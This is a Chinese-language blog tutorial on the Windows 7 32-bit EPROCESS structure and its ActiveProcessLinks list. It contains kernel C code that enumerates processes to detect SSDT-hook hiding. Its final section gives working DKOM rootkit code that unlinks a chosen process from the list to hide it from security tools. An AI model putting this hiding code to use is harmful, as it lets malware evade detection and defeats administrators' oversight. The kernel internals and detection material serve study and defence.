1.EPROCESS結構體
EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。
2.查看EPROCESS結構
kd> dt_eprocess
ntdll!_EPROCESS
+0×000 Pcb : _KPROCESS
+0×098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER //創建時間
+0x0a8 ExitTime : _LARGE_INTEGER //退出時間
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void //進程的pid
+0x0b8 ActiveProcessLinks : _LIST_ENTRY //活動進程鏈表
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE //指向句柄表的指針
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0×100 AddressCreationLock : _EX_PUSH_LOCK
+0×104 RotateInProgress : Ptr32 _ETHREAD
+0×108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0×110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0×114 CloneRoot : Ptr32 Void
+0×118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0×120 Win32Process : Ptr32 Void
+0×124 Job : Ptr32 _EJOB
+0×128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0×130 Cookie : Uint4B
+0×134 Spare8 : Uint4B
+0×138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0×140 InheritedFromUniqueProcessId : Ptr32 Void
+0×144 LdtInformation : Ptr32 Void
+0×148 VdmObjects : Ptr32 Void
+0x14c ConsoleHostProcess : Uint4B
+0×150 DeviceMap : Ptr32 Void
+0×154 EtwDataSource : Ptr32 Void
+0×158 FreeTebHint : Ptr32 Void
+0×160 PageDirectoryPte : _HARDWARE_PTE_X86
+0×160 Filler : Uint8B
+0×168 Session : Ptr32 Void
+0x16c ImageFileName : [15] UChar //進程名稱
+0x17b PriorityClass : UChar
+0x17c JobLinks : _LIST_ENTRY
+0×184 LockedPagesList : Ptr32 Void
+0×188 ThreadListHead : _LIST_ENTRY //進程里的線程鏈表
+0×190 SecurityPort : Ptr32 Void
+0×194 PaeTop : Ptr32 Void
+0×198 ActiveThreads : Uint4B
+0x19c ImagePathHash : Uint4B
+0x1a0 DefaultHardErrorProcessing : Uint4B
+0x1a4 LastThreadExitStatus : Int4B
+0x1a8 Peb : Ptr32 _PEB //指向PEB的指針
+0x1ac PrefetchTrace : _EX_FAST_REF
+0x1b0 ReadOperationCount : _LARGE_INTEGER
+0x1b8 WriteOperationCount : _LARGE_INTEGER
+0x1c0 OtherOperationCount : _LARGE_INTEGER
+0x1c8 ReadTransferCount : _LARGE_INTEGER
+0x1d0 WriteTransferCount : _LARGE_INTEGER
+0x1d8 OtherTransferCount : _LARGE_INTEGER
+0x1e0 CommitChargeLimit : Uint4B
+0x1e4 CommitChargePeak : Uint4B
+0x1e8 AweInfo : Ptr32 Void
+0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f0 Vm : _MMSUPPORT
+0x25c MmProcessLinks : _LIST_ENTRY
+0×264 HighestUserAddress : Ptr32 Void
+0×268 ModifiedPageCount : Uint4B
+0x26c Flags2 : Uint4B
+0x26c JobNotReallyActive : Pos 0, 1 Bit
+0x26c AccountingFolded : Pos 1, 1 Bit
+0x26c NewProcessReported : Pos 2, 1 Bit
+0x26c ExitProcessReported : Pos 3, 1 Bit
+0x26c ReportCommitChanges : Pos 4, 1 Bit
+0x26c LastReportMemory : Pos 5, 1 Bit
+0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
+0x26c HandleTableRundown : Pos 7, 1 Bit
+0x26c NeedsHandleRundown : Pos 8, 1 Bit
+0x26c RefTraceEnabled : Pos 9, 1 Bit
+0x26c NumaAware : Pos 10, 1 Bit
+0x26c ProtectedProcess : Pos 11, 1 Bit
+0x26c DefaultPagePriority : Pos 12, 3 Bits
+0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
+0x26c ProcessVerifierTarget : Pos 16, 1 Bit
+0x26c StackRandomizationDisabled : Pos 17, 1 Bit
+0x26c AffinityPermanent : Pos 18, 1 Bit
+0x26c AffinityUpdateEnable : Pos 19, 1 Bit
+0x26c PropagateNode : Pos 20, 1 Bit
+0x26c ExplicitAffinity : Pos 21, 1 Bit
+0×270 Flags : Uint4B
+0×270 CreateReported : Pos 0, 1 Bit
+0×270 NoDebugInherit : Pos 1, 1 Bit
+0×270 ProcessExiting : Pos 2, 1 Bit
+0×270 ProcessDelete : Pos 3, 1 Bit
+0×270 Wow64SplitPages : Pos 4, 1 Bit
+0×270 VmDeleted : Pos 5, 1 Bit
+0×270 OutswapEnabled : Pos 6, 1 Bit
+0×270 Outswapped : Pos 7, 1 Bit
+0×270 ForkFailed : Pos 8, 1 Bit
+0×270 Wow64VaSpace4Gb : Pos 9, 1 Bit
+0×270 AddressSpaceInitialized : Pos 10, 2 Bits
+0×270 SetTimerResolution : Pos 12, 1 Bit
+0×270 BreakOnTermination : Pos 13, 1 Bit
+0×270 DeprioritizeViews : Pos 14, 1 Bit
+0×270 WriteWatch : Pos 15, 1 Bit
+0×270 ProcessInSession : Pos 16, 1 Bit
+0×270 OverrideAddressSpace : Pos 17, 1 Bit
+0×270 HasAddressSpace : Pos 18, 1 Bit
+0×270 LaunchPrefetched : Pos 19, 1 Bit
+0×270 InjectInpageErrors : Pos 20, 1 Bit
+0×270 VmTopDown : Pos 21, 1 Bit
+0×270 ImageNotifyDone : Pos 22, 1 Bit
+0×270 PdeUpdateNeeded : Pos 23, 1 Bit
+0×270 VdmAllowed : Pos 24, 1 Bit
+0×270 CrossSessionCreate : Pos 25, 1 Bit
+0×270 ProcessInserted : Pos 26, 1 Bit
+0×270 DefaultIoPriority : Pos 27, 3 Bits
+0×270 ProcessSelfDelete : Pos 30, 1 Bit
+0×270 SetTimerResolutionLink : Pos 31, 1 Bit
+0×274 ExitStatus : Int4B
+0×278 VadRoot : _MM_AVL_TABLE
+0×298 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x2a8 TimerResolutionLink : _LIST_ENTRY
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
3.什么是進程活動鏈表?
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY結構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。
在PspCreateProcess內核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。
在PspExitProcess內核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。
關於鏈表的使用,可以參考:Windows內核中字符串和鏈表的使用。
4. 進程枚舉檢測Hook SSDT隱藏的進程。
我們前面在SSDT Hook實現簡單的進程隱藏和保護這篇文章中講到如果使用ssdt hook來隱藏進程。
事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead並沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。
在win7 32位下:
#define PIDOFFSET 0xb4 //_EPROCESS中UniqueProcessId的偏移
#define FLICKOFFSET 0xb8 //_EPROCESS中ActiveProcessLinks偏移
#define IMAGEFILENAME 0x16C //_EPROCESS中ImageFileName的偏移
示例代碼:
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
//遍歷ActiveProcessLinks來顯示所有進程
void ShowEPROCESS ( ) { DWORD EProcess ,FirstEProcess ; LIST_ENTRY * ActiveProcessLinks ; DWORD pid ,dwCount = 0 ; PUCHAR pImage ; EProcess =FirstEProcess = (DWORD )PsGetCurrentProcess ( ) ; __try { while ( EProcess != 0 ) { dwCount ++; pid = * ( (DWORD * ) ( EProcess + PIDOFFSET ) ) ; pImage = (PUCHAR ) ( EProcess + IMAGEFILENAME ) ; DbgPrint ( "[Pid=%8d] EProcess=0x%08X %s\n" , pid , EProcess , pImage ) ; ActiveProcessLinks = (LIST_ENTRY * ) ( EProcess + FLICKOFFSET ) ; EProcess = (DWORD )ActiveProcessLinks ->Flink - FLICKOFFSET ; if ( EProcess == FirstEProcess ) break ; } DbgPrint ( "ProcessCount = %d\n" , dwCount ) ; } __except ( 1 ) { DbgPrint ( "EnumProcessList exception !" ) ; } } |
5. 刪除活動進程鏈表節點實現進程隱藏
由於Windows是基於線程調度的。所以如果我們把要隱藏的進程的EPROCESS塊從活動進程鏈上摘除,就能有效的繞過基於通過活動進程鏈表檢測進程的防御系統。因為是以線程為基本單位進行調度,所以摘除過后並不影響隱藏進程的線程調度。
示例代碼:
根據pid在進程活動鏈表中找到進程的eprocess結構體
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
DWORD FindProcessInEPROCESS
(
int hidePid
)
{ DWORD eproc = 0x00000000 ; int currentPid = 0 ; int startPid = 0 ; int cout = 0 ; PLIST_ENTRY pListActiveProcs ; if ( 0 == hidePid ) { return hidePid ; } //遍歷ActiveList eproc = (DWORD )PsGetCurrentProcess ( ) ; startPid = * ( (DWORD * ) (eproc +PIDOFFSET ) ) ; currentPid = startPid ; while (TRUE ) { if (hidePid == currentPid ) { return eproc ; } else if ( (cout >= 1 ) && (startPid == currentPid ) ) { //沒有找到 return 0x00000000 ; } else { pListActiveProcs = (LIST_ENTRY * ) (eproc + FLICKOFFSET ) ; eproc = (DWORD ) pListActiveProcs ->Flink ; eproc = eproc - FLICKOFFSET ; currentPid = * ( ( int * ) (eproc + PIDOFFSET ) ) ; } } } |
把這個結構體從活動進程鏈表中摘去
1
2 3 4 5 6 7 8 9 10 11 12 |
void HideProcess
(
int hidePid
)
{ PLIST_ENTRY pListActiveProcs = NULL ; PLIST_ENTRY pHandleTable = NULL ; DWORD eproc = FindProcessInEPROCESS (hidePid ) ; // 在EPROCESS結構中找到這個進程 DbgPrint ( "eproc %08X" ,eproc ) ; pListActiveProcs = (LIST_ENTRY * ) (eproc + FLICKOFFSET ) ; * ( (DWORD * )pListActiveProcs ->Blink ) = (DWORD )pListActiveProcs ->Flink ; * ( (DWORD * )pListActiveProcs ->Flink + 1 ) = (DWORD )pListActiveProcs ->Blink ; pListActiveProcs ->Flink = (LIST_ENTRY * ) & (pListActiveProcs ->Flink ) ; pListActiveProcs ->Blink = (LIST_ENTRY * ) & (pListActiveProcs ->Flink ) ; } |
本文鏈接:http://www.blogfshare.com/activeprocesslinks-dkom.html
jpg 改 rar